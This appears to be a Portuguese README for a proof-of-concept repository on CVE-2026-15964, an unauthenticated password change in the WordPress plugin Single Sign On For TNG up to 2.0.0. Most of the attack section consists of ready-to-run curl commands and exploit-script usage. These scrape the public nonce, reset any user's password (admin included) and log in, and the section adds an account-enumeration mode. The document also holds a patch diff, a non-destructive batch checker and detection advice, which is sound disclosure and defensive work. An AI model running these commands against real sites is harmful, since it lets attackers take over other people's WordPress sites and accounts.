
PoC e verificador para CVE-2026-15964 - alteração de senha não autenticada no plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Escalação de privilégios não autenticada via alteração de senha não verificada no plugin WordPress Single Sign On For TNG.
| Severidade | Crítica (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Alteração de Senha Não Verificada) |
| Afetadas | versões do plugin 1.0.0 a 2.0.0 |
| Corrigido em | 2.1.0 (lançado em 2026-07-27) |
| Publicado | 2026-08-01 |
| Autenticação necessária | nenhuma (wp_ajax_nopriv_ssoprocess_ajax) |
| Impacto | alterar a senha de qualquer conta WordPress, incluindo administradores — comprometimento total do site |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Qualquer visitante não autenticado pode alterar a senha de qualquer conta em um site que execute o plugin na versão 2.0.0 ou anterior. Duas requisições HTTP:
SSOPWDREQUIREMENT.admin-ajax.php com operation=setnewpassword, um e-mail de vítima e uma nova senha.A função reset_password() do núcleo do WordPress faz o resto. Sem token, sem link de confirmação por e-mail, sem verificação de capacidade. Depois, faça login como administrador.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
Em single-sign-on-for-tng.php (v2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* significa que o handler é acessível sem nenhuma sessão.
load_scripts() está conectado a wp_enqueue_scripts, portanto, em toda página do front-end, o plugin imprime isto no HTML:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Que é renderizado como:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
E o handler verifica assim:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
A pegadinha: o WordPress calcula nonces com wp_create_nonce($action) usando o uid e o token de sessão. Para visitantes deslogados, esses valores são 0 e uma string vazia, o que significa que todo visitante anônimo recebe exatamente o mesmo nonce. Ele só é gerado novamente a cada 12 horas (o tick do nonce). Portanto, o nonce que o plugin imprime para qualquer visitante também é válido para o atacante — não há segredo para roubar; ele é publicado na própria página.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() é uma função do núcleo do WordPress. Ela define o novo hash, encerra a sessão da vítima em todas as outras sessões e dispara as ações password_reset / after_password_reset. Aqui, ela é chamada sem nada que prove que quem a invoca é o dono da conta.
Dois extras que vale a pena conhecer:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC do plugin só são aplicadas em validate_form() para formulários Forminator, nunca aqui. Qualquer senha é aceita.{"success":true} vs {"success":false} indica se um e-mail está registrado. O modo --enum-only do verificador usa isso.operation=set_tzoffset chama update_option('localtzoffset', $post['timezoneoffset']) sem autenticação. Não é diretamente explorável para RCE, mas é uma escrita de opção não autenticada e vale mencionar no writeup.Comparar a 2.0.0 com a 2.1.0 torna a correção óbvia (e confirma o bug):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
além disso, em newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
Então, na versão 2.1.0, o fluxo é: uma solicitação real de recuperação armazena um custom_recovery_token + custom_recovery_nonce por usuário nos metadados do usuário, o link de recuperação carrega o ID do usuário, o formulário valida ambos, e o handler AJAX se recusa a executar depois que a janela de recuperação (timeout) expirar. Um atacante que não consiga produzir um registro de recuperação válido não consegue mais acionar setnewpassword.
Passo 1 - extrair o nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Passo 2 - alterar a senha
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Resposta esperada em uma instalação vulnerável: {"success":true}
Passo 3 - fazer login
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyExploit para um único site. Modos não destrutivos incluídos.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.pyScanner em lote para suas próprias listas de sites. Não destrutivo por design — ele nunca altera uma senha.
Como ele classifica cada site:
SSOPWDREQUIREMENT ou os caminhos de ativos /wp-content/plugins/single-sign-on-for-tng/ na homepage.Stable tag: do readme.txt. <= 2.0.0 é vulnerável, >= 2.1.0 está corrigido. Isso é autoritativo de acordo com o CVE.--probe, somente quando a versão não pode ser lida) - envia operation=setnewpassword com um e-mail inexistente. Uma instalação 2.0.0 responde {"success":false} sem mensagem de erro; uma instalação 2.1.0 responde com a mensagem "time to submit the new password expired". Um e-mail real nunca é enviado — enviar um realmente redefiniria a senha.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
Exemplo de saída:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
Veredictos: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN normalmente significa um WAF, um cache de CDN agressivo ou um site que bloqueia o readme — verifique esses casos manualmente.
tests/mock_server.py emula seis casos (vulnerável-por-versão, corrigido-por-versão, vulnerável-por-sonda, corrigido-por-sonda, WordPress sem o plugin, não-WordPress). É assim que a lógica do verificador foi validada antes de apontá-lo para algo real:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt fornece a única dependência (requests).
Contexto honesto, porque afeta como você usa isso.
inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" em mecanismos de busca que indexam o código-fonte completo da página (PublicWWW, Censys, FOFA) e a própria comunidade TNG (tngsitebuilding.com, fóruns de genealogia).UNKNOWN do verificador será comparativamente grande em sites genealógicos reais — muitos rodam atrás de cache agressivo ou bloqueiam readme.txt. Não interprete isso como "não vulnerável"; verifique manualmente.admin-ajax.php em que action=ssoprocess_ajax não venha de uma sessão autenticada; alerte sobre setnewpassword de fontes anônimas.wp_users.user_pass e as ações password_reset / after_password_reset; fique atento a logins de administrador imediatamente após uma alteração de senha.ssoajaxnonce como conhecimento público — sempre foi.Este repositório é apenas para testes de segurança autorizados e fins educacionais. Você é responsável pelas suas próprias ações. Não execute estas ferramentas contra sistemas que você não possui ou para os quais não tenha permissão escrita explícita para testar. O acesso não autorizado a sistemas de computador é crime na maioria das jurisdições.